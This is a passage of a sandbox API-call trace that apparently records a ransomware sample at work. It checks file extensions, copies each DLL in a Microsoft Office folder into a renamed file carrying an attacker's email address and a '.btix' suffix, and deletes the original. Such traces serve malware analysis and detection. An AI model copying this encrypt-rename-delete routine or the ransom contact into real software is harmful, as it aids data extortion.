shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0054.938] lstrlenW (lpString=".zip") returned 4 [0054.938] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.938] lstrlenW (lpString=".rar") returned 4 [0054.938] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.938] lstrlenW (lpString=".bz2") returned 4 [0054.938] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.938] lstrlenW (lpString=".7z") returned 3 [0054.938] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0054.938] lstrlenW (lpString=".dbf") returned 4 [0054.938] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0054.938] lstrlenW (lpString=".1cd") returned 4 [0054.938] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0054.938] lstrlenW (lpString=".jpg") returned 4 [0054.938] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0054.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0054.938] lstrlenW (lpString=".doc") returned 4 [0054.938] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.938] lstrlenW (lpString=".docx") returned 5 [0054.938] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0054.938] lstrlenW (lpString=".pdf") returned 4 [0054.938] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.938] lstrlenW (lpString=".xls") returned 4 [0054.938] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.939] lstrlenW (lpString=".xlsx") returned 5 [0054.939] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0054.939] lstrlenW (lpString=".ppt") returned 4 [0054.939] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0054.939] lstrlenW (lpString=".zip") returned 4 [0054.939] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.939] lstrlenW (lpString=".rar") returned 4 [0054.939] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.939] lstrlenW (lpString=".bz2") returned 4 [0054.939] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.939] lstrlenW (lpString=".7z") returned 3 [0054.939] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0054.939] lstrlenW (lpString=".dbf") returned 4 [0054.939] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0054.939] lstrlenW (lpString=".1cd") returned 4 [0054.939] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0054.939] lstrlenW (lpString=".jpg") returned 4 [0054.939] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.939] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0054.939] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35 [0054.939] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0054.946] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=18624) returned 1 [0054.946] CloseHandle (hObject=0x38c) returned 1 [0054.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x20 [0054.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0054.946] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0054.946] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.947] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0054.948] GetLastError () returned 0x0 [0054.948] ReadFile (in: hFile=0x38c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x48c0, lpOverlapped=0x0) returned 1 [0054.967] WriteFile (in: hFile=0x320, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x48d0, lpOverlapped=0x0) returned 1 [0054.970] ReadFile (in: hFile=0x38c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0054.970] WriteFile (in: hFile=0x320, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11a, lpOverlapped=0x0) returned 1 [0054.970] SetEndOfFile (hFile=0x320) returned 1 [0054.971] CloseHandle (hObject=0x320) returned 1 [0054.971] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.971] SetEndOfFile (hFile=0x38c) returned 1 [0054.972] CloseHandle (hObject=0x38c) returned 1 [0054.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0054.973] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 1 [0054.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0054.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0054.973] lstrlenW (lpString=".doc") returned 4 [0054.973] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.973] lstrlenW (lpString=".docx") returned 5 [0054.973] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0054.973] lstrlenW (lpString=".pdf") returned 4 [0054.973] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.973] lstrlenW (lpString=".xls") returned 4 [0054.973] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.973] lstrlenW (lpString=".xlsx") returned 5 [0054.973] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0054.973] lstrlenW (lpString=".ppt") returned 4 [0054.973] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0054.973] lstrlenW (lpString=".zip") returned 4 [0054.973] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.973] lstrlenW (lpString=".rar") returned 4 [0054.973] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.973] lstrlenW (lpString=".bz2") returned 4 [0054.973] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.973] lstrlenW (lpString=".7z") returned 3 [0054.973] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0054.973] lstrlenW (lpString=".dbf") returned 4 [0054.974] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0054.974] lstrlenW (lpString=".1cd") returned 4 [0054.974] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0054.974] lstrlenW (lpString=".jpg") returned 4 [0054.974] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0054.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0054.974] lstrlenW (lpString=".doc") returned 4 [0054.974] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.974] lstrlenW (lpString=".docx") returned 5 [0054.974] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0054.974] lstrlenW (lpString=".pdf") returned 4 [0054.974] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.974] lstrlenW (lpString=".xls") returned 4 [0054.974] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.974] lstrlenW (lpString=".xlsx") returned 5 [0054.974] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0054.974] lstrlenW (lpString=".ppt") returned 4 [0054.974] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0054.974] lstrlenW (lpString=".zip") returned 4 [0054.974] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.974] lstrlenW (lpString=".rar") returned 4 [0054.974] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.974] lstrlenW (lpString=".bz2") returned 4 [0054.974] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.974] lstrlenW (lpString=".7z") returned 3 [0054.974] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0054.974] lstrlenW (lpString=".dbf") returned 4 [0054.974] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0054.974] lstrlenW (lpString=".1cd") returned 4 [0054.974] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0054.975] lstrlenW (lpString=".jpg") returned 4 [0054.975] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.975] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0054.975] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31 [0054.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0054.975] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=19648) returned 1 [0054.975] CloseHandle (hObject=0x38c) returned 1 [0054.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x20 [0054.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0054.976] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0054.976] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.976] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.976] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0054.976] GetLastError () returned 0x0 [0054.976] ReadFile (in: hFile=0x38c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0054.986] WriteFile (in: hFile=0x320, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0054.987] ReadFile (in: hFile=0x38c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0054.987] WriteFile (in: hFile=0x320, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x112, lpOverlapped=0x0) returned 1 [0054.987] SetEndOfFile (hFile=0x320) returned 1 [0054.988] CloseHandle (hObject=0x320) returned 1 [0054.989] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.989] SetEndOfFile (hFile=0x38c) returned 1 [0054.989] CloseHandle (hObject=0x38c) returned 1 [0054.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0054.990] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 1 [0054.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0054.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0054.990] lstrlenW (lpString=".doc") returned 4 [0054.990] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.990] lstrlenW (lpString=".docx") returned 5 [0054.990] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0054.990] lstrlenW (lpString=".pdf") returned 4 [0054.990] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.990] lstrlenW (lpString=".xls") returned 4 [0054.990] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.990] lstrlenW (lpString=".xlsx") returned 5 [0054.990] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0054.990] lstrlenW (lpString=".ppt") returned 4 [0054.990] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0054.990] lstrlenW (lpString=".zip") returned 4 [0054.990] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.990] lstrlenW (lpString=".rar") returned 4 [0054.991] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.991] lstrlenW (lpString=".bz2") returned 4 [0054.991] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.991] lstrlenW (lpString=".7z") returned 3 [0054.991] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0054.991] lstrlenW (lpString=".dbf") returned 4 [0054.991] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0054.991] lstrlenW (lpString=".1cd") returned 4 [0054.991] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0054.991] lstrlenW (lpString=".jpg") returned 4 [0054.991] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0054.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0054.991] lstrlenW (lpString=".doc") returned 4 [0054.991] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.991] lstrlenW (lpString=".docx") returned 5 [0054.991] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0054.991] lstrlenW (lpString=".pdf") returned 4 [0054.991] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.991] lstrlenW (lpString=".xls") returned 4 [0054.991] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.991] lstrlenW (lpString=".xlsx") returned 5 [0054.991] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0054.991] lstrlenW (lpString=".ppt") returned 4 [0054.991] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0054.991] lstrlenW (lpString=".zip") returned 4 [0054.991] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.991] lstrlenW (lpString=".rar") returned 4 [0054.992] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.992] lstrlenW (lpString=".bz2") returned 4 [0054.992] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.992] lstrlenW (lpString=".7z") returned 3 [0054.992] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0054.992] lstrlenW (lpString=".dbf") returned 4 [0054.992] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0054.992] lstrlenW (lpString=".1cd") returned 4 [0054.992] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0054.992] lstrlenW (lpString=".jpg") returned 4 [0054.992] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.992] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0054.992] lstrlenW (lpString="api-ms-win-crt-environment-l1-1-0.dll") returned 37 [0054.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0054.993] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=19136) returned 1 [0054.993] CloseHandle (hObject=0x38c) returned 1 [0054.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x20 [0054.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0054.993] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0054.993] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.993] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.403] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0055.403] GetLastError () returned 0x0 [0055.403] ReadFile (in: hFile=0x38c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0055.405] WriteFile (in: hFile=0x398, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0055.406] ReadFile (in: hFile=0x38c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0055.406] WriteFile (in: hFile=0x398, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11e, lpOverlapped=0x0) returned 1 [0055.406] SetEndOfFile (hFile=0x398) returned 1 [0055.406] CloseHandle (hObject=0x398) returned 1 [0055.407] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.407] SetEndOfFile (hFile=0x38c) returned 1 [0055.408] CloseHandle (hObject=0x38c) returned 1 [0055.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0055.408] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 1 [0055.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0055.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0055.409] lstrlenW (lpString=".doc") returned 4 [0055.409] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.409] lstrlenW (lpString=".docx") returned 5 [0055.409] lstrcmpiW 